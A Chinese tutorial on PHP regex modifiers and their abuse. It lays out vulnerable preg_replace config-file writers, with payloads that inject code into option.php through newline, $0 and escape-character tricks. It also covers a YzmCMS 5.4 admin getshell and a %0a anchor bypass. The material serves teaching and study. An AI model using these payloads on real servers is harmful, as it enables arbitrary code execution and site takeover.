添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

前置知识铺垫

single-line和multi-line

single-line与multi-line分别对应了/s和/m修饰符。

multi-line

multi-line表示按行来进行正则匹配:将待匹配的文本利用换行符分割,并对每一部分进行正则匹配,将每部分的结果用or进行运算,得出最终的结果。

举一个例子

1
2
3
var_dump(preg_match('/^a[a-z]+z$/m', "abbz\n123"));

//返回1
single-line

将待匹配文本视作单行,并且换行符不再作为换行的标志,. 可匹配换行符

默认情况的正则(不加修饰符)

对于如下正则:

1
2
3
4
5
6
7
8
9
<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbz\nccz"));

返回0 说明默认情况下非多行匹配

<?php
var_dump(preg_match('/^a.+z$/', "abbz\nccz"));

返回0 说明无法匹配换行符

所以在默认情况下代表着:single-line且.不会匹配换行符

总结

引用一下p牛的总结

  • 不加s或m修饰符 -> single line,但 . 不能匹配换行符
  • 单独加s修饰符 -> single line,且 . 匹配包括换行符在内的所有字符
  • 单独加m修饰符 -> multi line
  • 同时加m和s两个修饰符 -> multi line,且 . 匹配包括换行符在内的所有字符
  • 配置漏洞与其变形

    正则贪婪模式且无/s修饰符

    1
    2
    3
    4
    5
    <?php
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
    file_put_contents('./option.php', $file);

    利用.*不会匹配换行的特性,利用换行绕过

    第一次:api=a’;%0aphpinfo();//

    第二次:api=aaa

    正则贪婪模式且有/s修饰符

    1
    2
    3
    4
    5
    <?php
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
    file_put_contents('./option.php', $file);

    由于/s修饰符 所以无法利用换行绕过,不过可以用$0或者\0来引入单引号进行闭合,$0在preg_replace函数中代表着完整的匹配模式或者匹配文本

    api=;phpinfo();//

    1
    $API = ';phpinfo();//';

    api=$0

    1
    $API = '$API = ';phpinfo();//';';

    成功在配置文件中写入任意内容

    正则非贪婪模式且无/s修饰符

    1
    2
    3
    4
    5
    6
    <?php
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
    file_put_contents('./option.php', $file);
    ?>

    和之前唯一不同的是现在是非贪婪的匹配模式,也就意味着匹配到第一个单引号之后就不会接着往下继续匹配了

    所以我们换行和不换行都可以绕过了

    Payload如下

    1
    2
    3
    4
    5
    6
    第一种
    aa';phpinfo();//
    aa
    第二种
    aa';%0aphpinfo();//
    aa

    正则非贪婪模式且有/s修饰符

    1
    2
    3
    4
    5
    <?php
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
    file_put_contents('./option.php', $file);

    虽然加了/s修饰符,但是因为为非贪婪模式,上面的payload同样适用

    1
    2
    3
    4
    5
    6
    第一种
    aa';phpinfo();//
    aa
    第二种
    aa';%0aphpinfo();//
    aa

    define情况下的贪婪且/s修饰

    1
    2
    3
    4
    5
    <?php
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
    file_put_contents('./option.php', $file);

    和第一种一样,只是换了下变量的定义方式,换行绕过即可

    Payload:

    1
    2
    3
    4
    第一次
    api=a');%0aphpinfo();//
    第二次
    api=a

    define情况下的贪婪且无/s修饰

    1
    2
    3
    4
    5
    <?php
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
    file_put_contents('./option.php', $file);

    因为有不可闭合的单引号,所以这种情况下无法使用$0

    不过可以使用这个trick: preg_replace 在替换的时候会吃掉转义符 来进行引号闭合

    preg_match可将 \\ 转化为 \ 这也就意味着…其实用这种方式可以逃逸掉这篇文章里所有的单引号

    Payload如下:

    1
    api=a\%27);phpinfo();//

    得到的配置文件内容:

    1
    define('API', 'a\\');phpinfo();//');

    define情况下的非贪婪且有/s修饰

    1
    2
    3
    4
    5
    <?php
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
    file_put_contents('./option.php', $file);

    Payload:

    1
    2
    3
    4
    5
    6
    第一种
    aa';phpinfo();//
    aa
    第二种
    aa';%0aphpinfo();//
    aa

    define情况下的非贪婪且无/s修饰

    1
    2
    3
    4
    5
    <?php
    $api = addslashes($_GET['api']);
    $file = file_get_contents('./option.php');
    $file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
    file_put_contents('./option.php', $file);

    Payload如下:

    1
    2
    3
    4
    5
    aa';phpinfo();//
    aa
    第二种
    aa';%0aphpinfo();//
    aa

    几个例子

    YzmCMS 5.4后台getshell

    漏洞函数如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    function set_config($config) {
    $configfile = YZMPHP_PATH.'common'.DIRECTORY_SEPARATOR.'config/config.php';
    if(!is_writable($configfile)) showmsg('Please chmod '.$configfile.' to 0777 !', 'stop');
    $pattern = $replacement = array();
    foreach($config as $k=>$v) {
    $pattern[$k] = "/'".$k."'\s*=>\s*([']?)[^']*([']?)(\s*),/is";
    $replacement[$k] = "'".$k."' => \${1}".$v."\${2}\${3},";
    }
    $str = file_get_contents($configfile);
    $str = preg_replace($pattern, $replacement, $str);
    return file_put_contents($configfile, $str, LOCK_EX);
    }

    可以看到$replacement变量是由字符拼接而来,并且${1}匹配的是单引号,那么我们就可以用$1来闭合前面的单引号,${1}等价于$1的,接着跟进调用了set_config的函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    public function save() {
    yzm_base::load_common('function/function.php', 'admin');
    if(isset($_POST['dosubmit'])){
    if(isset($_POST['mail_inbox']) && $_POST['mail_inbox']){
    if(!is_email($_POST['mail_inbox'])) showmsg(L('mail_format_error'));
    }
    if(isset($_POST['upload_types'])){
    if(empty($_POST['upload_types'])) showmsg('允许上传附件类型不能为空!', 'stop');
    }
    $arr = array();
    $config = D('config');
    foreach($_POST as $key => $value){
    if(in_array($key, array('site_theme','watermark_enable','watermark_name','watermark_position'))) {
    $value = safe_replace(trim($value));
    $arr[$key] = $value;
    }else{
    if($key!='site_code'){
    $value = htmlspecialchars($value);
    }
    }
    $config->update(array('value'=>$value), array('name'=>$key));
    }
    set_config($arr);
    delcache('configs');
    showmsg(L('operation_success'), '', 1);
    }
    }

    可以看出是从POST取值并且检查key是否在规定的数组中,如果在的话,进行一次内容过滤,然后赋给$arr数组,并且由于array数组中键可以对应着函数

    1
    1=>'x',foo()

    所以直接赋值为我们之前单引号闭合的payload就可以了

    1
    $1,payload,$1

    一个常见的绕过

    1
    2
    3
    4
    5
    6
    7
    8
    <?php

    if (preg_match('/^want$/', $_GET['exp']) && $_GET['exp'] !== 'want') {

    echo "test";


    }

    对于这个过滤条件 我们可以用exp=want%0a进行绕过

    原理为$可以对换行符进行匹配

    同样的漏洞还有Apache换行解析漏洞,也就是shell.php\n可以以php的形式解析,也是利用了$可以匹配换行符导致的。

    参考链接

    https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html